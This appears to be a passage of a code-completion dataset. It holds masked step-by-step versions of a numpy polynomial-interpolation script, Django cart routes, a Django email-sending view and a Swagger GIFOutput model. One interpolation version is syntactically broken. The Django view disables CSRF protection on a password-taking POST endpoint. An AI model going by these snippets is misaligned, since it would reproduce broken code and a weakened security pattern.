15]])\nw = solve(A, y)\ny3 = w[0] + w[1] * xx + w[2] * xx ** 2 + w[3] * xx ** 3\nplt.plot(xx, y3, '-', xx, yy, '-')\nplt.show()\nprint('w 0:4 : ', ' '.join(map(str, np.round(w, 2))))\n", "step-4": "import numpy as np\nfrom scipy.linalg import solve\nfrom matplotlib import pylab as plt\n\n\ndef f(x):\n return np.sin(x / 5) * np.exp(x / 10) + 5 * np.exp(-x / 2)\n\n\nxx = np.arange(1, 15, 0.1)\nyy = f(xx)\nx = np.array([1, 15])\ny = f(x)\nA = np.array([[1, 1], [1, 15]])\nw = solve(A, y)\ny1 = w[0] + w[1] * xx\nplt.plot(xx, y1, '-', xx, yy, '-')\nplt.show()\nx = np.array([1, 8, 15])\ny = f(x)\nA = np.array([[1, 1, 1], [1, 8, 64], [1, 15, 225]])\nw = solve(A, y)\ny2 = w[0] + w[1] * xx + w[2] * xx ** 2\nplt.plot(xx, y2, '-', xx, yy, '-')\nplt.show()\nx = np.array([1, 4, 10, 15])\ny = f(x)\nA = np.array([[1, 1, 1, 1], [1, 4, 16, 64], [1, 10, 100, 1000], [1, 15, 225,\n 225 * 15]])\nw = solve(A, y)\ny3 = w[0] + w[1] * xx + w[2] * xx ** 2 + w[3] * xx ** 3\nplt.plot(xx, y3, '-', xx, yy, '-')\nplt.show()\nprint('w 0:4 : ', ' '.join(map(str, np.round(w, 2))))\n", "step-5": "import numpy as np\r\nfrom scipy.linalg import solve\r\nfrom matplotlib import pylab as plt\r\n\r\ndef f(x):\r\n return (np.sin(x / 5) * np.exp(x / 10) + 5 * np.exp(-x / 2))\r\n\r\nxx = np.arange(1, 15, 0.1)\r\nyy = f(xx)\r\n\r\n# 1 степень\r\nx = np.array([1,15])\r\ny = f(x)\r\n\r\nA = np.array([[1,1], [1,15]])\r\nw = solve(A, y)\r\n\r\ny1 = w[0] + w[1]xx\r\n\r\nplt.plot(xx, y1, '-', xx, yy, '-')\r\nplt.show()\r\n\r\n# 2 степень\r\nx = np.array([1, 8, 15])\r\ny = f(x)\r\n\r\nA = np.array([[1,1,1], [1,8,64], [1,15,225]])\r\nw = solve(A, y)\r\n\r\ny2 = w[0] + w[1]xx + w[2](xx2)\r\n\r\nplt.plot(xx, y2, '-', xx, yy, '-')\r\nplt.show()\r\n\r\n# 3 степень\r\nx = np.array([1, 4, 10, 15])\r\ny = f(x)\r\n\r\nA = np.array([[1,1,1,1], [1,4,16,64], [1,10,100,1000], [1,15,225,22515]])\r\nw = solve(A, y)\r\n\r\ny3 = w[0] + w[1]xx + w[2](xx*2) + w[3](xx**3)\r\n\r\nplt.plot(xx, y3, '-', xx, yy, '-')\r\nplt.show()\r\n\r\nprint(\"w 0:4 : \", \" \".join(map(str, np.round(w, 2))))", "step-ids": [ 1, 2, 3, 4, 5 ] }	[ 1, 2, 3, 4, 5 ]
from django.conf.urls import url from cart import views urlpatterns=[ url(r'^add/$',views.cart_add,name='add'),#t添加购物车数据 url(r'^count/$',views.cart_count,name='count'),#huo获取购物车商品数量 url(r'^del/$',views.cart_del,name='delete'),#删除购物车商品记录 url(r'update/$',views.cart_update,name='update'),#更新购物车商品数目 url(r'^&',views.cart_show,name='show'),#显示用户购物车页面 ]	normal	{ "blob_id": "5b3a6b44bd9ea80da1983d8254c73bba3e2338e1", "index": 5166, "step-1": "<mask token>\n", "step-2": "<mask token>\nurlpatterns = [url('^add/$', views.cart_add, name='add'), url('^count/$',\n views.cart_count, name='count'), url('^del/$', views.cart_del, name=\n 'delete'), url('update/$', views.cart_update, name='update'), url('^&',\n views.cart_show, name='show')]\n", "step-3": "from django.conf.urls import url\nfrom cart import views\nurlpatterns = [url('^add/$', views.cart_add, name='add'), url('^count/$',\n views.cart_count, name='count'), url('^del/$', views.cart_del, name=\n 'delete'), url('update/$', views.cart_update, name='update'), url('^&',\n views.cart_show, name='show')]\n", "step-4": "from django.conf.urls import url \nfrom cart import views\n\nurlpatterns=[\n url(r'^add/$',views.cart_add,name='add'),#t添加购物车数据\n url(r'^count/$',views.cart_count,name='count'),#huo获取购物车商品数量\n url(r'^del/$',views.cart_del,name='delete'),#删除购物车商品记录\n url(r'update/$',views.cart_update,name='update'),#更新购物车商品数目\n url(r'^&',views.cart_show,name='show'),#显示用户购物车页面\n\n]\n\n\n\n\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }	[ 0, 1, 2, 3 ]
from django.shortcuts import render from django.contrib.auth.decorators import login_required from django.views.decorators.csrf import csrf_exempt # Create your views here. from projects.models import Project from django.db import connection from .utils import namedtuplefetchall from django.http import JsonResponse from django.contrib import messages import json from django.views.decorators.csrf import csrf_exempt from .utils import send_mail from DBMS import settings from passlib.hash import pbkdf2_sha256 as encrypto # Create your views here. @login_required @csrf_exempt def social(request): if request.method == "POST": data = request.POST project_id = int(json.loads(data.get('projid'))) head = data.get('head') head = json.loads(head) subhead = json.loads(data.get('subh')) content = json.loads(data.get('cont')) obtained = json.loads(data.get('pass')) with connection.cursor() as curr: curr.execute("SELECT manager_id,customer_id FROM socialMedia where project_id=%s",[project_id]) rec_id = namedtuplefetchall(curr) manager_id = rec_id[0].manager_id customer_id = rec_id[0].customer_id print("SENDING") with connection.cursor() as curr: curr.execute("select contact from customer where customer_id = %s",[customer_id]) email = namedtuplefetchall(curr) customer_email = email[0].contact # Rename the email field with customer_email to send to customers when we have actual data pwd = settings.EMAIL_HOST_PASSWORD if encrypto.verify(obtained,pwd) == True: #print("asjdhasd") send_mail(head,subhead+'\n'+content,'Gauri Baraskar','gauribaraskar812@gmail.com',settings.EMAIL_HOST_USER,obtained) else: messages.warning(request,"Wrong Password Entered") return JsonResponse(1,safe=False) else: with connection.cursor() as curr: curr.execute("select project.project_id,project_name from works_on,project where user_id=%s and project.project_id=works_on.project_id",[request.user.id]) res = namedtuplefetchall(curr) return render(request, 'social/index.html', {'social': res})	normal	{ "blob_id": "c2839046592469dfae7526f72be947126960ba19", "index": 621, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\n@login_required\n@csrf_exempt\ndef social(request):\n if request.method == 'POST':\n data = request.POST\n project_id = int(json.loads(data.get('projid')))\n head = data.get('head')\n head = json.loads(head)\n subhead = json.loads(data.get('subh'))\n content = json.loads(data.get('cont'))\n obtained = json.loads(data.get('pass'))\n with connection.cursor() as curr:\n curr.execute(\n 'SELECT manager_id,customer_id FROM socialMedia where project_id=%s'\n , [project_id])\n rec_id = namedtuplefetchall(curr)\n manager_id = rec_id[0].manager_id\n customer_id = rec_id[0].customer_id\n print('SENDING')\n with connection.cursor() as curr:\n curr.execute('select contact from customer where customer_id = %s',\n [customer_id])\n email = namedtuplefetchall(curr)\n customer_email = email[0].contact\n pwd = settings.EMAIL_HOST_PASSWORD\n if encrypto.verify(obtained, pwd) == True:\n send_mail(head, subhead + '\\n' + content, 'Gauri Baraskar',\n 'gauribaraskar812@gmail.com', settings.EMAIL_HOST_USER,\n obtained)\n else:\n messages.warning(request, 'Wrong Password Entered')\n return JsonResponse(1, safe=False)\n else:\n with connection.cursor() as curr:\n curr.execute(\n 'select project.project_id,project_name from works_on,project where user_id=%s and project.project_id=works_on.project_id'\n , [request.user.id])\n res = namedtuplefetchall(curr)\n return render(request, 'social/index.html', {'social': res})\n", "step-3": "from django.shortcuts import render\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.decorators.csrf import csrf_exempt\nfrom projects.models import Project\nfrom django.db import connection\nfrom .utils import namedtuplefetchall\nfrom django.http import JsonResponse\nfrom django.contrib import messages\nimport json\nfrom django.views.decorators.csrf import csrf_exempt\nfrom .utils import send_mail\nfrom DBMS import settings\nfrom passlib.hash import pbkdf2_sha256 as encrypto\n\n\n@login_required\n@csrf_exempt\ndef social(request):\n if request.method == 'POST':\n data = request.POST\n project_id = int(json.loads(data.get('projid')))\n head = data.get('head')\n head = json.loads(head)\n subhead = json.loads(data.get('subh'))\n content = json.loads(data.get('cont'))\n obtained = json.loads(data.get('pass'))\n with connection.cursor() as curr:\n curr.execute(\n 'SELECT manager_id,customer_id FROM socialMedia where project_id=%s'\n , [project_id])\n rec_id = namedtuplefetchall(curr)\n manager_id = rec_id[0].manager_id\n customer_id = rec_id[0].customer_id\n print('SENDING')\n with connection.cursor() as curr:\n curr.execute('select contact from customer where customer_id = %s',\n [customer_id])\n email = namedtuplefetchall(curr)\n customer_email = email[0].contact\n pwd = settings.EMAIL_HOST_PASSWORD\n if encrypto.verify(obtained, pwd) == True:\n send_mail(head, subhead + '\\n' + content, 'Gauri Baraskar',\n 'gauribaraskar812@gmail.com', settings.EMAIL_HOST_USER,\n obtained)\n else:\n messages.warning(request, 'Wrong Password Entered')\n return JsonResponse(1, safe=False)\n else:\n with connection.cursor() as curr:\n curr.execute(\n 'select project.project_id,project_name from works_on,project where user_id=%s and project.project_id=works_on.project_id'\n , [request.user.id])\n res = namedtuplefetchall(curr)\n return render(request, 'social/index.html', {'social': res})\n", "step-4": "from django.shortcuts import render\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.decorators.csrf import csrf_exempt\n# Create your views here.\nfrom projects.models import Project\nfrom django.db import connection\nfrom .utils import namedtuplefetchall\nfrom django.http import JsonResponse\nfrom django.contrib import messages\nimport json\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom .utils import send_mail\n\nfrom DBMS import settings\n\nfrom passlib.hash import pbkdf2_sha256 as encrypto\n\n# Create your views here.\n\n@login_required\n@csrf_exempt\ndef social(request):\n if request.method == \"POST\":\n data = request.POST\n project_id = int(json.loads(data.get('projid')))\n head = data.get('head')\n head = json.loads(head)\n subhead = json.loads(data.get('subh'))\n content = json.loads(data.get('cont'))\n obtained = json.loads(data.get('pass'))\n with connection.cursor() as curr:\n curr.execute(\"SELECT manager_id,customer_id FROM socialMedia where project_id=%s\",[project_id])\n rec_id = namedtuplefetchall(curr)\n manager_id = rec_id[0].manager_id\n customer_id = rec_id[0].customer_id\n print(\"SENDING\")\n\n with connection.cursor() as curr:\n curr.execute(\"select contact from customer where customer_id = %s\",[customer_id])\n email = namedtuplefetchall(curr)\n customer_email = email[0].contact\n\n # Rename the email field with customer_email to send to customers when we have actual data\n\n pwd = settings.EMAIL_HOST_PASSWORD\n if encrypto.verify(obtained,pwd) == True:\n #print(\"asjdhasd\")\n send_mail(head,subhead+'\\n'+content,'Gauri Baraskar','gauribaraskar812@gmail.com',settings.EMAIL_HOST_USER,obtained)\n else:\n messages.warning(request,\"Wrong Password Entered\")\n return JsonResponse(1,safe=False)\n\n else:\n with connection.cursor() as curr:\n curr.execute(\"select project.project_id,project_name from works_on,project where user_id=%s and project.project_id=works_on.project_id\",[request.user.id])\n res = namedtuplefetchall(curr)\n return render(request, 'social/index.html', {'social': res})\n\n\n\n\n\n\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }	[ 0, 1, 2, 3 ]
# coding: utf-8 """ Idomoo API OpenAPI spec version: 2.0 Contact: dev.support@idomoo.com """ import pprint import six class GIFOutput(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'gif_fps': 'float', 'color_depth': 'float', 'gif_loop': 'int', 'height': 'float', 'start': 'float', 'duration': 'float', 'suffix': 'str', 'overlay': 'str', 'overlay_alignment': 'list[str]', 'overlay_scale': 'str', 'label': 'str' } attribute_map = { 'gif_fps': 'gif_fps', 'color_depth': 'color_depth', 'gif_loop': 'gif_loop', 'height': 'height', 'start': 'start', 'duration': 'duration', 'suffix': 'suffix', 'overlay': 'overlay', 'overlay_alignment': 'overlay_alignment', 'overlay_scale': 'overlay_scale', 'label': 'label' } def __init__(self, gif_fps=None, color_depth=None, gif_loop=None, height=None, start=None, duration=None, suffix=None, overlay=None, overlay_alignment=None, overlay_scale='fit', label=None): """GIFOutput - a model defined in Swagger""" self._gif_fps = None self._color_depth = None self._gif_loop = None self._height = None self._start = None self._duration = None self._suffix = None self._overlay = None self._overlay_alignment = None self._overlay_scale = None self._label = None self.discriminator = None if gif_fps is not None: self.gif_fps = gif_fps if color_depth is not None: self.color_depth = color_depth if gif_loop is not None: self.gif_loop = gif_loop self.height = height self.start = start if duration is not None: self.duration = duration if suffix is not None: self.suffix = suffix if overlay is not None: self.overlay = overlay if overlay_alignment is not None: self.overlay_alignment = overlay_alignment if overlay_scale is not None: self.overlay_scale = overlay_scale if label is not None: self.label = label @property def gif_fps(self): """Gets the gif_fps of this GIFOutput. The frame rate of the GIF. Default is the Video frame rate :return: The gif_fps of this GIFOutput. :rtype: float """ return self._gif_fps @gif_fps.setter def gif_fps(self, gif_fps): """Sets the gif_fps of this GIFOutput. The frame rate of the GIF. Default is the Video frame rate :param gif_fps: The gif_fps of this GIFOutput. :type: float """ if gif_fps is not None and gif_fps > 30: raise ValueError("Invalid value for `gif_fps`, must be a value less than or equal to `30`") self._gif_fps = gif_fps @property def color_depth(self): """Gets the color_depth of this GIFOutput. Amount of colors in palette :return: The color_depth of this GIFOutput. :rtype: float """ return self._color_depth @color_depth.setter def color_depth(self, color_depth): """Sets the color_depth of this GIFOutput. Amount of colors in palette :param color_depth: The color_depth of this GIFOutput. :type: float """ self._color_depth = color_depth @property def gif_loop(self): """Gets the gif_loop of this GIFOutput. If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops. :return: The gif_loop of this GIFOutput. :rtype: int """ return self._gif_loop @gif_loop.setter def gif_loop(self, gif_loop): """Sets the gif_loop of this GIFOutput. If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops. :param gif_loop: The gif_loop of this GIFOutput. :type: int """ if gif_loop is not None and gif_loop < -1: raise ValueError("Invalid value for `gif_loop`, must be a value greater than or equal to `-1`") self._gif_loop = gif_loop @property def height(self): """Gets the height of this GIFOutput. Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically calculated to keep the aspect ratio. :return: The height of this GIFOutput. :rtype: float """ return self._height @height.setter def height(self, height): """Sets the height of this GIFOutput. Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically calculated to keep the aspect ratio. :param height: The height of this GIFOutput. :type: float """ if height is None: raise ValueError("Invalid value for `height`, must not be `None`") self._height = height @property def start(self): """Gets the start of this GIFOutput. What second of the storyboard timeline to start the GIF. :return: The start of this GIFOutput. :rtype: float """ return self._start @start.setter def start(self, start): """Sets the start of this GIFOutput. What second of the storyboard timeline to start the GIF. :param start: The start of this GIFOutput. :type: float """ if start is None: raise ValueError("Invalid value for `start`, must not be `None`") self._start = start @property def duration(self): """Gets the duration of this GIFOutput. Seconds for the duration of the GIF. Can't be longer than the video. :return: The duration of this GIFOutput. :rtype: float """ return self._duration @duration.setter def duration(self, duration): """Sets the duration of this GIFOutput. Seconds for the duration of the GIF. Can't be longer than the video. :param duration: The duration of this GIFOutput. :type: float """ self._duration = duration @property def suffix(self): """Gets the suffix of this GIFOutput. Unique ending of the file name so several outputs can be created then identified. Required if there is more then 1 video output. :return: The suffix of this GIFOutput. :rtype: str """ return self._suffix @suffix.setter def suffix(self, suffix): """Sets the suffix of this GIFOutput. Unique ending of the file name so several outputs can be created then identified. Required if there is more then 1 video output. :param suffix: The suffix of this GIFOutput. :type: str """ self._suffix = suffix @property def overlay(self): """Gets the overlay of this GIFOutput. Path to overlay image, such as: play button or watermark. :return: The overlay of this GIFOutput. :rtype: str """ return self._overlay @overlay.setter def overlay(self, overlay): """Sets the overlay of this GIFOutput. Path to overlay image, such as: play button or watermark. :param overlay: The overlay of this GIFOutput. :type: str """ self._overlay = overlay @property def overlay_alignment(self): """Gets the overlay_alignment of this GIFOutput. Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is X. The second is Y. :return: The overlay_alignment of this GIFOutput. :rtype: list[str] """ return self._overlay_alignment @overlay_alignment.setter def overlay_alignment(self, overlay_alignment): """Sets the overlay_alignment of this GIFOutput. Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is X. The second is Y. :param overlay_alignment: The overlay_alignment of this GIFOutput. :type: list[str] """ allowed_values = ["left", "center", "right", "top", "middle", "bottom"] if not set(overlay_alignment).issubset(set(allowed_values)): raise ValueError( "Invalid values for `overlay_alignment` [{0}], must be a subset of [{1}]" .format(", ".join(map(str, set(overlay_alignment) - set(allowed_values))), ", ".join(map(str, allowed_values))) ) self._overlay_alignment = overlay_alignment @property def overlay_scale(self): """Gets the overlay_scale of this GIFOutput. Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the image according to the alignment settings. * Fill: scale the image up or down so it completely fills the video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't resize the overlay image. :return: The overlay_scale of this GIFOutput. :rtype: str """ return self._overlay_scale @overlay_scale.setter def overlay_scale(self, overlay_scale): """Sets the overlay_scale of this GIFOutput. Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the image according to the alignment settings. * Fill: scale the image up or down so it completely fills the video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't resize the overlay image. :param overlay_scale: The overlay_scale of this GIFOutput. :type: str """ allowed_values = ["fit", "fill", "none"] if overlay_scale not in allowed_values: raise ValueError( "Invalid value for `overlay_scale` ({0}), must be one of {1}" .format(overlay_scale, allowed_values) ) self._overlay_scale = overlay_scale @property def label(self): """Gets the label of this GIFOutput. This label is another way to identify this specific output. The label is returned in the response, but does not appear in the file name. :return: The label of this GIFOutput. :rtype: str """ return self._label @label.setter def label(self, label): """Sets the label of this GIFOutput. This label is another way to identify this specific output. The label is returned in the response, but does not appear in the file name. :param label: The label of this GIFOutput. :type: str """ self._label = label def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, GIFOutput): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other	normal	{ "blob_id": "2362c9a12f97f32f6136aaf16a55cf4acbaf9294", "index": 4753, "step-1": "<mask token>\n\n\nclass GIFOutput(object):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def __init__(self, gif_fps=None, color_depth=None, gif_loop=None,\n height=None, start=None, duration=None, suffix=None, overlay=None,\n overlay_alignment=None, overlay_scale='fit', label=None):\n \"\"\"GIFOutput - a model defined in Swagger\"\"\"\n self._gif_fps = None\n self._color_depth = None\n self._gif_loop = None\n self._height = None\n self._start = None\n self._duration = None\n self._suffix = None\n self._overlay = None\n self._overlay_alignment = None\n self._overlay_scale = None\n self._label = None\n self.discriminator = None\n if gif_fps is not None:\n self.gif_fps = gif_fps\n if color_depth is not None:\n self.color_depth = color_depth\n if gif_loop is not None:\n self.gif_loop = gif_loop\n self.height = height\n self.start = start\n if duration is not None:\n self.duration = duration\n if suffix is not None:\n self.suffix = suffix\n if overlay is not None:\n self.overlay = overlay\n if overlay_alignment is not None:\n self.overlay_alignment = overlay_alignment\n if overlay_scale is not None:\n self.overlay_scale = overlay_scale\n if label is not None:\n self.label = label\n\n @property\n def gif_fps(self):\n \"\"\"Gets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :return: The gif_fps of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._gif_fps\n\n @gif_fps.setter\n def gif_fps(self, gif_fps):\n \"\"\"Sets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :param gif_fps: The gif_fps of this GIFOutput.\n :type: float\n \"\"\"\n if gif_fps is not None and gif_fps > 30:\n raise ValueError(\n 'Invalid value for `gif_fps`, must be a value less than or equal to `30`'\n )\n self._gif_fps = gif_fps\n\n @property\n def color_depth(self):\n \"\"\"Gets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :return: The color_depth of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._color_depth\n\n @color_depth.setter\n def color_depth(self, color_depth):\n \"\"\"Sets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :param color_depth: The color_depth of this GIFOutput.\n :type: float\n \"\"\"\n self._color_depth = color_depth\n\n @property\n def gif_loop(self):\n \"\"\"Gets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :return: The gif_loop of this GIFOutput.\n :rtype: int\n \"\"\"\n return self._gif_loop\n\n @gif_loop.setter\n def gif_loop(self, gif_loop):\n \"\"\"Sets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :param gif_loop: The gif_loop of this GIFOutput.\n :type: int\n \"\"\"\n if gif_loop is not None and gif_loop < -1:\n raise ValueError(\n 'Invalid value for `gif_loop`, must be a value greater than or equal to `-1`'\n )\n self._gif_loop = gif_loop\n <mask token>\n\n @height.setter\n def height(self, height):\n \"\"\"Sets the height of this GIFOutput.\n\n Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller\n resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically\n calculated to keep the aspect ratio.\n\n :param height: The height of this GIFOutput.\n :type: float\n \"\"\"\n if height is None:\n raise ValueError('Invalid value for `height`, must not be `None`')\n self._height = height\n\n @property\n def start(self):\n \"\"\"Gets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :return: The start of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._start\n\n @start.setter\n def start(self, start):\n \"\"\"Sets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :param start: The start of this GIFOutput.\n :type: float\n \"\"\"\n if start is None:\n raise ValueError('Invalid value for `start`, must not be `None`')\n self._start = start\n\n @property\n def duration(self):\n \"\"\"Gets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :return: The duration of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._duration\n\n @duration.setter\n def duration(self, duration):\n \"\"\"Sets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :param duration: The duration of this GIFOutput.\n :type: float\n \"\"\"\n self._duration = duration\n\n @property\n def suffix(self):\n \"\"\"Gets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :return: The suffix of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._suffix\n\n @suffix.setter\n def suffix(self, suffix):\n \"\"\"Sets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :param suffix: The suffix of this GIFOutput.\n :type: str\n \"\"\"\n self._suffix = suffix\n\n @property\n def overlay(self):\n \"\"\"Gets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :return: The overlay of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay\n\n @overlay.setter\n def overlay(self, overlay):\n \"\"\"Sets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :param overlay: The overlay of this GIFOutput.\n :type: str\n \"\"\"\n self._overlay = overlay\n\n @property\n def overlay_alignment(self):\n \"\"\"Gets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :return: The overlay_alignment of this GIFOutput.\n :rtype: list[str]\n \"\"\"\n return self._overlay_alignment\n\n @overlay_alignment.setter\n def overlay_alignment(self, overlay_alignment):\n \"\"\"Sets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :param overlay_alignment: The overlay_alignment of this GIFOutput.\n :type: list[str]\n \"\"\"\n allowed_values = ['left', 'center', 'right', 'top', 'middle', 'bottom']\n if not set(overlay_alignment).issubset(set(allowed_values)):\n raise ValueError(\n 'Invalid values for `overlay_alignment` [{0}], must be a subset of [{1}]'\n .format(', '.join(map(str, set(overlay_alignment) - set(\n allowed_values))), ', '.join(map(str, allowed_values))))\n self._overlay_alignment = overlay_alignment\n\n @property\n def overlay_scale(self):\n \"\"\"Gets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :return: The overlay_scale of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay_scale\n\n @overlay_scale.setter\n def overlay_scale(self, overlay_scale):\n \"\"\"Sets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :param overlay_scale: The overlay_scale of this GIFOutput.\n :type: str\n \"\"\"\n allowed_values = ['fit', 'fill', 'none']\n if overlay_scale not in allowed_values:\n raise ValueError(\n 'Invalid value for `overlay_scale` ({0}), must be one of {1}'\n .format(overlay_scale, allowed_values))\n self._overlay_scale = overlay_scale\n\n @property\n def label(self):\n \"\"\"Gets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :return: The label of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._label\n\n @label.setter\n def label(self, label):\n \"\"\"Sets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :param label: The label of this GIFOutput.\n :type: str\n \"\"\"\n self._label = label\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(lambda x: x.to_dict() if hasattr(x,\n 'to_dict') else x, value))\n elif hasattr(value, 'to_dict'):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(lambda item: (item[0], item[1].\n to_dict()) if hasattr(item[1], 'to_dict') else item,\n value.items()))\n else:\n result[attr] = value\n return result\n <mask token>\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, GIFOutput):\n return False\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n", "step-2": "<mask token>\n\n\nclass GIFOutput(object):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def __init__(self, gif_fps=None, color_depth=None, gif_loop=None,\n height=None, start=None, duration=None, suffix=None, overlay=None,\n overlay_alignment=None, overlay_scale='fit', label=None):\n \"\"\"GIFOutput - a model defined in Swagger\"\"\"\n self._gif_fps = None\n self._color_depth = None\n self._gif_loop = None\n self._height = None\n self._start = None\n self._duration = None\n self._suffix = None\n self._overlay = None\n self._overlay_alignment = None\n self._overlay_scale = None\n self._label = None\n self.discriminator = None\n if gif_fps is not None:\n self.gif_fps = gif_fps\n if color_depth is not None:\n self.color_depth = color_depth\n if gif_loop is not None:\n self.gif_loop = gif_loop\n self.height = height\n self.start = start\n if duration is not None:\n self.duration = duration\n if suffix is not None:\n self.suffix = suffix\n if overlay is not None:\n self.overlay = overlay\n if overlay_alignment is not None:\n self.overlay_alignment = overlay_alignment\n if overlay_scale is not None:\n self.overlay_scale = overlay_scale\n if label is not None:\n self.label = label\n\n @property\n def gif_fps(self):\n \"\"\"Gets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :return: The gif_fps of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._gif_fps\n\n @gif_fps.setter\n def gif_fps(self, gif_fps):\n \"\"\"Sets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :param gif_fps: The gif_fps of this GIFOutput.\n :type: float\n \"\"\"\n if gif_fps is not None and gif_fps > 30:\n raise ValueError(\n 'Invalid value for `gif_fps`, must be a value less than or equal to `30`'\n )\n self._gif_fps = gif_fps\n\n @property\n def color_depth(self):\n \"\"\"Gets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :return: The color_depth of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._color_depth\n\n @color_depth.setter\n def color_depth(self, color_depth):\n \"\"\"Sets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :param color_depth: The color_depth of this GIFOutput.\n :type: float\n \"\"\"\n self._color_depth = color_depth\n\n @property\n def gif_loop(self):\n \"\"\"Gets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :return: The gif_loop of this GIFOutput.\n :rtype: int\n \"\"\"\n return self._gif_loop\n\n @gif_loop.setter\n def gif_loop(self, gif_loop):\n \"\"\"Sets the gif_loop of this GIFOutput.\n\n 